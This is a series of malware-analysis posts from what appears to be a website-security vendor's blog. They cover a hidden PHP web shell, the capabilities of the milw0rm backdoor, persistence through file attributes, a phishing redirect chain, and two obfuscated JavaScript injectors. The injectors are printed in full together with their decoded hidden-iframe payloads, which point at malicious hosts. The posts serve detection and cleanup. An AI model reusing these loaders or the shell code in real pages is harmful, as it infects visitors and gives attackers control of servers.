Showing posts with label online malware scan. Show all posts
Showing posts with label online malware scan. Show all posts

Sunday, February 14, 2016

How Hackers Prevent Linux Malware From Being Removed

Malware On Linux

Background

Here at Quttera, we clean infected websites on a daily basis and this weekend our automated cure procedure failed to remove malicious files. The customer actually had more than 170 websites on the Linux server which was heavily infected. The automatic cure is executed with root permissions so we started investigating what was this all about.

Investigation 

We logged-in into the infected server and executed few commands with root user such as 


and we got a "Permission denied".




At the beginning we thought that there is an issue with a parent directory permissions but after a quick verification we confirmed that the permissions were OK.

The next step was looking for a running process prevents a file removal, however the lsof output did not confirm this.

It is not a surprise that hackers are constantly changing tactics and improving techniques. This allows them to:

  1. Keep an infection undetected on a compromised server or website as much as possible. 
  2. Make it harder to cleaned/remove it. 

And one of the main challenges is staying on top of those threats as they evolve.

We continued with further investigation and the next step was to use lsattr command which lists file attributes on a Linux second extended file system. We executed the lsattr command on the locked file and the file had "a" and "i" attributes.

You can always search for the lsattr command description through 'man' in Linux. So, we came across chattr command that led us to the following:

  1. chattr change file attributes on a Linux second extended file system
  2. File with the "i" attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to it. Only a super-user or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear the attribute.
  3. File with the "a" attribute set can be opened in append mode only for writing. Only the super-user or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear the attribute.

So to make the long story short, the solution was to run:


and




which allowed to remove file without any problem



What is "Linux second extended file system"?

The second extended file system (or Ext2) is Ext4 file system grandparent used by Linux kernel.
The Ext2 used as default file system by several Linux distributions and it was replaced by Ext3.
You can find more information about the Ext2 here

If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera's help-desk.









Saturday, January 30, 2016

New Generic PHP Shell Malware In The Wild

New Generic PHP Shell Malware In The Wild

Shell body

Background

Massive infection in the form of new generic PHP shell has been, recently, detected by Quttera malware researchers. We are still investigating all the incidents to find out the exact infection vector. Here is what we know so far:
  1. In most cases this shell was uploaded as wp-update.php to WordPress root directory
  2. On almost all sites, where we detected this shell all JavaScript files were infected by malicious JavaScript code injecting reference to malicious IFRAMEs
  3. This is generic shell script and it executes content that is provided in $_POST argument calls "sam"

How this shell works

  1. Firstly it resets last time when it was accessed using @touch function
  2. Then it checks if "eval" function is available via execution of the following command: $l = eval("return true")
  3. After that, it decides how to execute encoded script provided inside $_POST[sam] variable
  4. If eval function is available, then infection is delivered using following expression: eval(base64_decode($_POST[sam]))
  5. If eval command is not available, then shell dumps provided execution script into temporary file _ptemp and executes it using "system" command: system("php _ptemp;rm _ptemp");
  6. The injected infection body depends on input provided in $_POST[sam] variable.
If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera's help-desk.

Monday, November 23, 2015

Hacked WordPress Sites To Gain Control Over Entire VPS

"RevSlider" Plugin Vulnerability Used to Access VPS File System


Background

The issue has been discovered during malware clean-up of WordPress installation on private VPS. Additionally, the server hosted around 20 more WP installations. The auto cure procedure came back showing infection left-overs and we switched to manual investigation. This short post is to show how simple and genius some hacks could be. 

Malware investigation 

First checks showed that the VPS was infected via outdated RevSlider installation (3.0.95). Hackers were able upload any arbitrary files to the host. Searching further we found some strange directory (wp-content/plugins/revslider/temp/update_extract/sym). After investigation of this directory we found taht it contained softlink to "/" (VPS root directory). As simple as that. Needless to say, that it provided attackers an access to entire file system on this VPS and hackers actually had access to any file/directory on this VPS and utilized it to infect all other WP installations.

Removing this directory and updating the vulnerable plugin solved the issue.

If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera's help-desk.

Tuesday, July 28, 2015

Learn What Milw0rm Backdoor Malware Can Do With Your System


Background

Like the majority of our posts, this one is based on the recent malware investigation and clean-up of the infected website. It shows which tools can a backdoor, in this case milw0rm, give hackers once it is planted on the compromised website.

Hard to find due to thorough encryption and indirect connection to the affected website, backdoor easily bypasses the authentication and establishes remote access to the server. From that moment on, an attacker can use your system without being detected. If you think you've been infected by backdoor or any other malware, feel free to reach out to us at https://helpdesk.quttera.com

Milw0rm Backdoor Capabilities

Below is a list of actions that attackers can perform without your consent.

  • Server information gathering
    • OS
    • PHP version
    • Harddisk
    • Server IP
    • Client IP
Milw0rm backdoor. View the security information 

  • File tools
    • Change directory
    • Make directory
    • Execute file
    • Upload file
    • Compress/ un-compress file (zip)
Milw0rm backdoor. File tools/ Compress/ un-compress file

  • Console
    • List directory
    • Show active connections
    • IP configuration
    • ARP table
Milw0rm backdoor. Console.

Milw0rm backdoor. Console.

  • SQL browser
  • Execute PHP code
  • Safe mode bypass
    • Read file
    • List directory
    • Curl
    • Ini restore
  • String tools
    • String conversion
Milw0rm backdoor. String tools/ conversion.
    • Search text in files
    • Search for hash
  • FTP bruteforce
  • Network tools
    • Bind port to /bin /sh
    • Back-connect
  • Self remove
    • Remove the backdoor shell
  • View all the security information of the server
    • Server software
    • Disabled PHP funtions
    • cURL support
    • User account names
Needless to say, that with this level of access and control over the website and server the hacker can upload other malicious codes. At this stage the choice is very broad: email spammers, Distributed Denial of Service (DDOS) tools, fake logins and etc.

Attack origin and prevention

Avoid FTP (and any other actually) usernames that can be found in your website. As it happen in this case, you give hackers a way to brute force your FTP site credentials.

Resolution

As a part of anti-malware services for websites, the backdoor was removed and a re-consideration request has been submitted to remove website from Google and other vendors blacklists.

Sunday, January 25, 2015

How To Locate Hosts That Infecting Or Sending Spam From Your Word Press Installation

Steps To Discover Malicious Hosts Attempting To Access Your Website 

When dealing with previously cleaned website that got re-infected over and over again, it is essential to monitor/check who and when tried to connect to website. Usually, POST request is used to access the malware files to launch malicious script/command. Thus, once you have the file names you can review the log files (e.g. access.log for Apache) to detect the servers that were sending these malicious requests.

Next steps would be to block those IPs to avoid further attacks and inform your provider. Further, you can use 'whois' who hosts those IPs and file the request to remove them.

Example steps for CPanel users to access logs and detect attackers

Similar steps would be applicable for the rest control panel providers.

  1. Login to CPanel and go to "Stats & Logs" 
  2. Select "Raw Access Logs" from the menu to navigate to logs archive

    CPanel - Raw Access Log
  3. Download logs archive

    CPanel - download raw access log archive
  4. Extract archive content to an empty directory
  5. Run the following command on extracted file: # grep -irHn POST <file> | grep -v admin

When you are done with all the steps above, you should see output containing the date/time, file and IP that tried to access this file along with other info.

Here is an example shared by Quttera-Labs researcher taken from one of recent malware removal process:

85.214.94.159 - - [24/Jan/2015:21:32:41 +0100] "POST /wp-content/uploads/mp3-320/insomnia3/320/db.php HTTP/1.1" 404 72391 "-" "Mozilla/5.0 (Windows NT 6.1; W
OW64; rv:33.0) Gecko/20100101 Firefox/33.0"
85.214.94.159 - - [24/Jan/2015:21:32:44 +0100] "POST /wp-includes/SimplePie/Content/Type/info.php HTTP/1.1" 404 72387 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64
; rv:33.0) Gecko/20100101 Firefox/33.0"
85.214.94.159 - - [24/Jan/2015:21:32:45 +0100] "POST /wp-content/plugins/jetpack/modules/social-links.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; W
OW64; rv:33.0) Gecko/20100101 Firefox/33.0"


91.121.60.19 - - [25/Jan/2015:03:49:33 +0100] "POST /wp-content/plugins/wp-statistics/includes/functions/general.php HTTP/1.1" 404 72407 "-" "Mozilla/5.0 (Wi
ndows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
91.121.60.19 - - [25/Jan/2015:03:49:36 +0100] "POST /wp-content/uploads/mp3-320/insomnia3/320/db.php HTTP/1.1" 404 72391 "-" "Mozilla/5.0 (Windows NT 6.1; WO
W64; rv:33.0) Gecko/20100101 Firefox/33.0"
91.121.60.19 - - [25/Jan/2015:03:49:37 +0100] "POST /wp-content/plugins/woocommerce/i18n/db.php HTTP/1.1" 404 72386 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; 
rv:33.0) Gecko/20100101 Firefox/33.0"

If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera help-desk.

Tuesday, March 18, 2014

You Were Mentioned In A Tweet Phishing

Tweeter Phishing

This short post dedicated to tweeter phishing attempt that we noticed. It is based on simple re-directs that finally lands on some arbitrary page where your twitter credentials are prompted.

Here is how it works:

The email:

Tweeter Phishing Email
Link re-directs:
  1. po.st/L41lRU - located in US
  2. hxxp://joi.nu/o6j?iewj - located in Germany 
  3. hxxp://103.243.128.145/r/fw1/ - located in Hong Kong
In stage 3 you land in phishing site (see image below) claiming that your session has ended. In order to see that "tempted Tweet" you are asked to enter your Twitter credentials.

Phishing Page


Needless to say, that you should not!

Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code


Background


Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript comes right after the valid GA code and placed in index.html. 

One might assume that the GA code was embedded by attacker as well to monitor his success. However, this might be a simple coincidence. Interestingly, the website is in Google blacklist database. Below you will find payload analysis and threat dump. 

For public databases of site scan reports:

For global web malware monitoring statistic and severity levels:

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Nov 28 14:18:42 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/S4oz7N

Uncovering web threats
Online Website Malware Scanner sitescan overview

Malware entry

Beautified script

<script>varwsqWQBPps="cNRoPJdqz3ccNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz20cNRoPJdqz73cNRoPJdqz72cNRoPJdqz63cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz68cNRoPJdqz74cNRoPJdqz74cNRoPJdqz70cNRoPJdqz3acNRoPJdqz2fcNRoPJdqz2fcNRoPJdqz70cNRoPJdqz72cNRoPJdqz69cNRoPJdqz76cNRoPJdqz61cNRoPJdqz74cNRoPJdqz65cNRoPJdqz33cNRoPJdqz2ecNRoPJdqz7acNRoPJdqz61cNRoPJdqz70cNRoPJdqz74cNRoPJdqz6fcNRoPJdqz2ecNRoPJdqz6fcNRoPJdqz72cNRoPJdqz67cNRoPJdqz2fcNRoPJdqz62cNRoPJdqz6ccNRoPJdqz6fcNRoPJdqz67cNRoPJdqz2fcNRoPJdqz76cNRoPJdqz6ccNRoPJdqz71cNRoPJdqz73cNRoPJdqz72cNRoPJdqz79cNRoPJdqz79cNRoPJdqz61cNRoPJdqz63cNRoPJdqz72cNRoPJdqz2ecNRoPJdqz70cNRoPJdqz68cNRoPJdqz70cNRoPJdqz3fcNRoPJdqz76cNRoPJdqz61cNRoPJdqz6fcNRoPJdqz77cNRoPJdqz76cNRoPJdqz3dcNRoPJdqz4ecNRoPJdqz48cNRoPJdqz63cNRoPJdqz43cNRoPJdqz71cNRoPJdqz55cNRoPJdqz46cNRoPJdqz53cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz68cNRoPJdqz72cNRoPJdqz79cNRoPJdqz74cNRoPJdqz65cNRoPJdqz77cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz39cNRoPJdqz38cNRoPJdqz38cNRoPJdqz39cNRoPJdqz34cNRoPJdqz33cNRoPJdqz39cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz79cNRoPJdqz6acNRoPJdqz72cNRoPJdqz65cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz38cNRoPJdqz35cNRoPJdqz34cNRoPJdqz22cNRoPJdqz20cNRoPJdqz6ecNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz79cNRoPJdqz66cNRoPJdqz65cNRoPJdqz6acNRoPJdqz43cNRoPJdqz50cNRoPJdqz43cNRoPJdqz7acNRoPJdqz62cNRoPJdqz41cNRoPJdqz22cNRoPJdqz20cNRoPJdqz74cNRoPJdqz69cNRoPJdqz74cNRoPJdqz6ccNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz4ecNRoPJdqz65cNRoPJdqz73cNRoPJdqz58cNRoPJdqz6fcNRoPJdqz59cNRoPJdqz47cNRoPJdqz54cNRoPJdqz42cNRoPJdqz7acNRoPJdqz22cNRoPJdqz20cNRoPJdqz77cNRoPJdqz69cNRoPJdqz64cNRoPJdqz74cNRoPJdqz68cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz68cNRoPJdqz65cNRoPJdqz69cNRoPJdqz67cNRoPJdqz68cNRoPJdqz74cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz62cNRoPJdqz6fcNRoPJdqz72cNRoPJdqz64cNRoPJdqz65cNRoPJdqz72cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz3ecNRoPJdqz3ccNRoPJdqz2fcNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3e";yvDFQwwmM=eval;varWSxQJgvuB=wsqWQBPps.replace(/cNRoPJdqz/g,"%");]]


Malicious payload

Decoded payload generates hidden iframe to http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854

Payload:
<iframe src="http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe>

Blacklisting status


The website is Suspicious on Google Safe Browsing.

VirusTotal URL scan reports 8/51 antivirus and malware detection engines identified the redirect IP as malicious site.

VirusTotal URL scan report screenshot


Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Monday, November 18, 2013

JavaScript Malware In Website Injecting Malicious Iframes

Compromised website infected with malicious JavaScript

Malicious JavaScript in website pages

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript malware injects malicious iframes into the website page(s). Having styling attributes crafted in such a way to be invisible to website visitors, they download content in the background from remote malware distributor.

Similar to discussed in other posts about malicious iframes in websites, this malware is obfuscated and in addition uses cookie bomb technique to evade Anti-Viruses and other detection mechanisms.

Public databases of site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains

For global web malware monitoring statistic and severity levels:
Last day
Last week
Last month

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry details

Obfuscated execution of JavaScript "eval" function.

Beautified script


  1. try {
  2.     + function () {
  3.         if (document.querySelector)++(window[vz].body) == null
  4.     }()
  5. } catch (q) {
  6.     aa = function (ff) {
  7.         ff = "fr" + "omCh" + ff;
  8.         for (i = 0; i < z.length; i++) {
  9.             za += String[ff](e(v + (z[i])) - (13));
  10.         }
  11.     };
  12. };
  13. e = (eval);
  14. v = "0x";
  15. a = 0;
  16. try {;
  17. } catch (zz) {
  18.     a = 1
  19. }
  20. if (!a) {
  21.     try {
  22.         ++e(vz)["\x62o" + "d" + z]
  23.     } catch (q) {
  24.         a2 = "^";
  25.     }
  26.     z ="2d^73^82^7b^70^81^76^7c^7b^2d^7f^7d^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^3b^7d^75^7d^34^48^1a^17^2d^83^6e^7f^2d^7f^7d^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7f^72^6e^81^72^52^79^72^7a^72^7b^81^35^34^76^73^7f^6e^7a^72^34^36^48^1a^17^1a^17^2d^7f^7d^3b^80^7f^70^2d^4a^2d^34^75^81^81^7d^47^3c^3c^7a^6e^7b^74^7c^79^3b^70^7c^3b^82^78^3c^70^79^6e^80^80^3c^44^57^5e^45^81^5f^58^59^3b^7d^75^7d^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^7d^7c^80^76^81^76^7c^7b^2d^4a^2d^34^6e^6f^80^7c^79^82^81^72^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^70^7c^79^7c^7f^2d^4a^2d^34^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^75^72^76^74^75^81^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^84^76^71^81^75^2d^4a^2d^34^3d^45^43^45^7d^85^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^79^72^73^81^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^2d^7f^7d^3b^80^81^86^79^72^3b^81^7c^7d^2d^4a^2d^34^3e^3d^3d^3d^3d^45^43^45^34^48^1a^17^1a^17^2d^76^73^2d^35^2e^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^36^2d^88^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^84^7f^76^81^72^35^34^49^7d^2d^76^71^4a^69^34^7f^7d^69^34^2d^70^79^6e^80^80^4a^69^34^7f^7d^3d^46^69^34^2d^4b^49^3c^7d^4b^34^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^74^72^81^52^79^72^7a^72^7b^81^4f^86^56^71^35^34^7f^7d^34^36^3b^6e^7d^7d^72^7b^71^50^75^76^79^71^35^7f^7d^36^48^1a^17^2d^8a^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^60^72^81^50^7c^7c^78^76^72^35^70^7c^7c^78^76^72^5b^6e^7a^72^39^70^7c^7c^78^76^72^63^6e^79^82^72^39^7b^51^6e^86^80^39^7d^6e^81^75^36^2d^88^1a^17^2d^83^6e^7f^2d^81^7c^71^6e^86^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^83^6e^7f^2d^72^85^7d^76^7f^72^2d^4a^2d^7b^72^84^2d^51^6e^81^72^35^36^48^1a^17^2d^76^73^2d^35^7b^51^6e^86^80^4a^4a^7b^82^79^79^2d^89^89^2d^7b^51^6e^86^80^4a^4a^3d^36^2d^7b^51^6e^86^80^4a^3e^48^1a^17^2d^72^85^7d^76^7f^72^3b^80^72^81^61^76^7a^72^35^81^7c^71^6e^86^3b^74^72^81^61^76^7a^72^35^36^2d^38^2d^40^43^3d^3d^3d^3d^3d^37^3f^41^37^7b^51^6e^86^80^36^48^1a^17^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^2d^4a^2d^70^7c^7c^78^76^72^5b^6e^7a^72^38^2f^4a^2f^38^72^80^70^6e^7d^72^35^70^7c^7c^78^76^72^63^6e^79^82^72^36^1a^17^2d^38^2d^2f^48^72^85^7d^76^7f^72^80^4a^2f^2d^38^2d^72^85^7d^76^7f^72^3b^81^7c^54^5a^61^60^81^7f^76^7b^74^35^36^2d^38^2d^35^35^7d^6e^81^75^36^2d^4c^2d^2f^48^2d^7d^6e^81^75^4a^2f^2d^38^2d^7d^6e^81^75^2d^47^2d^2f^2f^36^48^1a^17^8a^1a^17^73^82^7b^70^81^76^7c^7b^2d^54^72^81^50^7c^7c^78^76^72^35^2d^7b^6e^7a^72^2d^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^7f^81^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^7b^6e^7a^72^2d^38^2d^2f^4a^2f^2d^36^48^1a^17^2d^83^6e^7f^2d^79^72^7b^2d^4a^2d^80^81^6e^7f^81^2d^38^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^38^2d^3e^48^1a^17^2d^76^73^2d^35^2d^35^2d^2e^80^81^6e^7f^81^2d^36^2d^33^33^1a^17^2d^35^2d^7b^6e^7a^72^2d^2e^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^3d^39^2d^7b^6e^7a^72^3b^79^72^7b^74^81^75^2d^36^2d^36^2d^36^1a^17^2d^88^1a^17^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^8a^1a^17^2d^76^73^2d^35^2d^80^81^6e^7f^81^2d^4a^4a^2d^3a^3e^2d^36^2d^7f^72^81^82^7f^7b^2d^7b^82^79^79^48^1a^17^2d^83^6e^7f^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^76^7b^71^72^85^5c^73^35^2d^2f^48^2f^39^2d^79^72^7b^2d^36^48^1a^17^2d^76^73^2d^35^2d^72^7b^71^2d^4a^4a^2d^3a^3e^2d^36^2d^72^7b^71^2d^4a^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^79^72^7b^74^81^75^48^1a^17^2d^7f^72^81^82^7f^7b^2d^82^7b^72^80^70^6e^7d^72^35^2d^71^7c^70^82^7a^72^7b^81^3b^70^7c^7c^78^76^72^3b^80^82^6f^80^81^7f^76^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^7f^7d^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);
  27.     za = "";
  28.     aa("arCode");
  29.     e("" + za);
  30. }


Malicious payload


Decoded payload generates hidden iframe to hxxp://mangol.co.uk


  1. function rp09() {
  2.  
  3.     var static = 'ajax';
  4.  
  5.     var controller = 'index.php';
  6.  
  7.     var rp = document.createElement('iframe');
  8.  
  9.  
  10.  
  11.     rp.src = 'http://mangol.co.uk/class/7JQ8tRKL.php';
  12.  
  13.     rp.style.position = 'absolute';
  14.  
  15.     rp.style.color = '0868';
  16.  
  17.     rp.style.height = '0868px';
  18.  
  19.     rp.style.width = '0868px';
  20.  
  21.     rp.style.left = '10000868';
  22.  
  23.     rp.style.top = '10000868';
  24.  
  25.  
  26.  
  27.     if (!document.getElementById('rp')) {
  28.  
  29.         document.write('<p id=\'rp\' class=\'rp09\' ></p>');
  30.  
  31.         document.getElementById('rp').appendChild(rp);
  32.  
  33.     }
  34.  
  35. }
  36.  
  37. function SetCookie(cookieName, cookieValue, nDays, path) {
  38.  
  39.     var today = new Date();
  40.  
  41.     var expire = new Date();
  42.  
  43.     if (nDays == null || nDays == 0) nDays = 1;
  44.  
  45.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  46.  
  47.     document.cookie = cookieName + "=" + escape(cookieValue)
  48.  
  49.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  50.  
  51. }
  52.  
  53. function GetCookie(name) {
  54.  
  55.     var start = document.cookie.indexOf(name + "=");
  56.  
  57.     var len = start + name.length + 1;
  58.  
  59.     if ((!start) &&
  60.  
  61.         (name != document.cookie.substring(0, name.length)))
  62.  
  63.     {
  64.  
  65.         return null;
  66.  
  67.     }
  68.  
  69.     if (start == -1) return null;
  70.  
  71.     var end = document.cookie.indexOf(";", len);
  72.  
  73.     if (end == -1) end = document.cookie.length;
  74.  
  75.     return unescape(document.cookie.substring(len, end));
  76.  
  77. }
  78.  
  79. if (navigator.cookieEnabled)
  80.  
  81. {
  82.  
  83.     if (GetCookie('visited_uq') == 55) {} else {
  84.         SetCookie('visited_uq', '55', '1', '/');
  85.  
  86.  
  87.  
  88.         rp09();
  89.  
  90.     }
  91.  
  92. }*/


Blacklisting status

The URL is detected by 3/51 Anti-Virus engines in VirusTotal and noted as being infecting several domains through software vulnerability exploits.


VirusTotal report


Malware clean-up

Being blacklisted, usually, means your website was compromised and detected actively distributed malware or acting as an intermediate in malicious chain. If you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.